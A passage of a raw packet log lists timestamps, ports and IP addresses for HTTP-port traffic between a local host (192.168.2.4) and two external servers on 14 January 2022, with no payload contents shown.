Jan 14, 2022 12:30:14.169301033 CET	49911	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:14.169303894 CET	80	49911	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:14.169322014 CET	80	49911	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:14.169333935 CET	49911	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:14.169343948 CET	49911	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:14.169377089 CET	49911	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:14.169528008 CET	49911	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:14.172533035 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.172789097 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.172878027 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.172964096 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.173047066 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.173140049 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.173221111 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.173302889 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.173383951 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.173465967 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.173549891 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.173631907 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.173715115 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.173800945 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.173907995 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.174010992 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.174117088 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.174201012 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.174299002 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.174458027 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.174557924 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.174650908 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.174747944 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.174839020 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.174932957 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.175019979 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.175120115 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.175206900 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.175302982 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.175395966 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.175493002 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.175582886 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.175688982 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.175770044 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.175860882 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.175945997 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.176032066 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.176119089 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.176213026 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.176292896 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.176388025 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.176481962 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.176557064 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.176650047 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.176733971 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.176824093 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.176903963 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.176996946 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.177073956 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.177166939 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.177251101 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.177337885 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.177422047 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.177515984 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.177593946 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.177685022 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.177764893 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.177859068 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.177958012 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.178059101 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.178147078 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.178252935 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.178374052 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.178447962 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.178591967 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.178685904 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.178775072 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.178870916 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.178961039 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.179054022 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.179141998 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.179244041 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.179333925 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.179431915 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.179519892 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.179620981 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.179713964 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.184608936 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.184628963 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.184633970 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.184638977 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.184644938 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.184650898 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.184654951 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.184659004 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.184663057 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.184668064 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.184672117 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.184675932 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.184681892 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.184689045 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.184696913 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.184705019 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.184711933 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.184720039 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.184726954 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.184735060 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.184741020 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.184747934 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.184756041 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.184762955 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.184772015 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.184779882 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.184787989 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.185291052 CET	80	49912	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:14.186503887 CET	80	49911	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:14.186531067 CET	80	49911	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:14.186554909 CET	80	49911	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:14.186578035 CET	80	49911	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:14.186602116 CET	80	49911	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:14.186636925 CET	80	49911	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:14.186654091 CET	49911	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:14.186660051 CET	80	49911	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:14.186688900 CET	80	49911	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:14.186696053 CET	49911	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:14.186713934 CET	80	49911	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:14.186738014 CET	80	49911	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:14.186760902 CET	80	49911	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:14.186767101 CET	49911	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:14.186788082 CET	80	49911	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:14.186813116 CET	49911	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:14.186814070 CET	80	49911	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:14.186837912 CET	80	49911	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:14.186845064 CET	49911	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:14.186861992 CET	80	49911	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:14.186889887 CET	80	49911	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:14.186913013 CET	49911	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:14.186913967 CET	80	49911	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:14.186939001 CET	80	49911	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:14.186961889 CET	80	49911	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:14.186963081 CET	49911	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:14.186986923 CET	80	49911	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:14.187010050 CET	80	49911	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:14.187016010 CET	49911	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:14.187031031 CET	49911	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:14.187032938 CET	80	49911	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:14.187057972 CET	80	49911	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:14.187087059 CET	80	49911	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:14.187100887 CET	49911	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:14.187110901 CET	80	49911	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:14.187136889 CET	80	49911	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:14.187160969 CET	80	49911	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:14.187185049 CET	80	49911	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:14.187187910 CET	49911	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:14.187206030 CET	49911	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:14.187208891 CET	80	49911	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:14.187213898 CET	49911	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:14.187232971 CET	80	49911	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:14.187236071 CET	49911	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:14.187258959 CET	80	49911	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:14.187282085 CET	80	49911	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:14.187289953 CET	49911	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:14.187308073 CET	80	49911	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:14.187331915 CET	80	49911	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:14.187354088 CET	80	49911	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:14.187361956 CET	49911	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:14.187377930 CET	80	49911	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:14.187377930 CET	49911	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:14.187395096 CET	80	49911	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:14.187450886 CET	49911	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:14.188404083 CET	80	49911	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:14.188427925 CET	80	49911	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:14.188453913 CET	80	49911	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:14.188477993 CET	80	49911	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:14.188483953 CET	49911	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:14.188503027 CET	80	49911	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:14.188524961 CET	49911	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:14.188525915 CET	80	49911	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:14.188549995 CET	80	49911	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:14.188558102 CET	49911	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:14.188575029 CET	80	49911	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:14.188599110 CET	80	49911	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:14.188606024 CET	49911	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:14.188621044 CET	80	49911	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:14.188646078 CET	49911	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:14.188647032 CET	80	49911	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:14.188672066 CET	80	49911	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:14.188694954 CET	80	49911	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:14.188719988 CET	80	49911	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:14.188729048 CET	49911	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:14.188744068 CET	80	49911	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:14.188755035 CET	49911	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:14.188769102 CET	80	49911	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:14.188792944 CET	80	49911	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:14.188798904 CET	49911	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:14.188817024 CET	80	49911	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:14.188841105 CET	80	49911	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:14.188864946 CET	80	49911	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:14.188867092 CET	49911	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:14.188889980 CET	80	49911	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:14.188899994 CET	49911	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:14.188915014 CET	80	49911	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:14.188939095 CET	80	49911	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:14.188962936 CET	80	49911	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:14.188967943 CET	49911	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:14.188988924 CET	80	49911	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:14.188991070 CET	49911	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:14.189012051 CET	80	49911	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:14.189035892 CET	80	49911	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:14.189059019 CET	80	49911	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:14.189074039 CET	49911	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:14.189081907 CET	80	49911	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:14.189091921 CET	49911	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:14.189106941 CET	80	49911	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:14.189130068 CET	80	49911	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:14.189146042 CET	49911	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:14.189158916 CET	80	49911	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:14.189182997 CET	80	49911	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:14.189198017 CET	49911	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:14.189204931 CET	80	49911	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:14.189229965 CET	80	49911	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:14.189254045 CET	80	49911	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:14.189259052 CET	49911	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:14.189277887 CET	80	49911	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:14.189285994 CET	49911	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:14.189302921 CET	80	49911	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:14.189326048 CET	80	49911	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:14.189340115 CET	49911	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:14.189352036 CET	80	49911	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:14.189376116 CET	80	49911	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:14.189399004 CET	80	49911	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:14.189409971 CET	49911	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:14.189424992 CET	80	49911	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:14.189425945 CET	49911	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:14.189449072 CET	80	49911	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:14.189474106 CET	80	49911	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:14.189487934 CET	49911	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:14.189498901 CET	80	49911	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:14.189522028 CET	80	49911	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:14.189546108 CET	80	49911	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:14.189558983 CET	49911	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:14.189568996 CET	80	49911	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:14.189578056 CET	49911	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:14.189591885 CET	80	49911	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:14.189615965 CET	80	49911	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:14.189623117 CET	49911	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:14.189640999 CET	80	49911	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:14.189666033 CET	80	49911	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:14.189690113 CET	80	49911	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:14.189696074 CET	49911	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:14.189713001 CET	80	49911	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:14.189714909 CET	49911	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:14.189737082 CET	80	49911	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:14.189789057 CET	49911	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:14.195535898 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.204657078 CET	80	49911	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:14.204757929 CET	80	49911	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:14.204797029 CET	80	49911	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:14.204830885 CET	80	49911	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:14.204835892 CET	49911	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:14.204853058 CET	49911	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:14.204865932 CET	80	49911	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:14.204900980 CET	80	49911	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:14.204932928 CET	80	49911	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:14.204948902 CET	49911	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:14.204967022 CET	80	49911	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:14.204983950 CET	49911	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:14.204998970 CET	80	49911	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:14.205033064 CET	80	49911	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:14.205051899 CET	49911	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:14.205065966 CET	80	49911	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:14.205097914 CET	80	49911	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:14.205130100 CET	80	49911	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:14.205146074 CET	49911	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:14.205163956 CET	80	49911	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:14.205178976 CET	49911	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:14.205195904 CET	80	49911	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:14.205229044 CET	80	49911	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:14.205260992 CET	80	49911	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:14.205276966 CET	49911	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:14.205295086 CET	80	49911	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:14.205301046 CET	49911	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:14.205329895 CET	80	49911	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:14.205362082 CET	80	49911	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:14.205382109 CET	49911	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:14.205395937 CET	80	49911	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:14.205432892 CET	80	49911	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:14.205465078 CET	80	49911	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:14.205483913 CET	49911	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:14.205497980 CET	80	49911	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:14.205530882 CET	80	49911	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:14.205535889 CET	49911	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:14.205564022 CET	80	49911	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:14.205593109 CET	80	49911	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:14.205612898 CET	49911	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:14.205641985 CET	49911	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:14.205720901 CET	49911	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:14.206785917 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:14.206855059 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:14.206877947 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:14.206901073 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:14.206922054 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:14.206943989 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:14.206965923 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:14.206986904 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:14.207010031 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:14.207031012 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:14.207052946 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:14.207076073 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:14.207096100 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:14.207118988 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:14.207140923 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:14.207161903 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:14.207182884 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:14.207205057 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:14.214342117 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.214597940 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.214622021 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.214695930 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.214780092 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.214879036 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.214967966 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.215069056 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.215157032 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.215264082 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.215348005 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.215442896 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.215524912 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.215615988 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.215696096 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.215790987 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.215871096 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.215960979 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.216042042 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.216136932 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.216216087 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.216310978 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.216389894 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.216490030 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.216568947 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.216660023 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.216743946 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.216835976 CET	49914	80	192.168.2.4	185.215.113.35
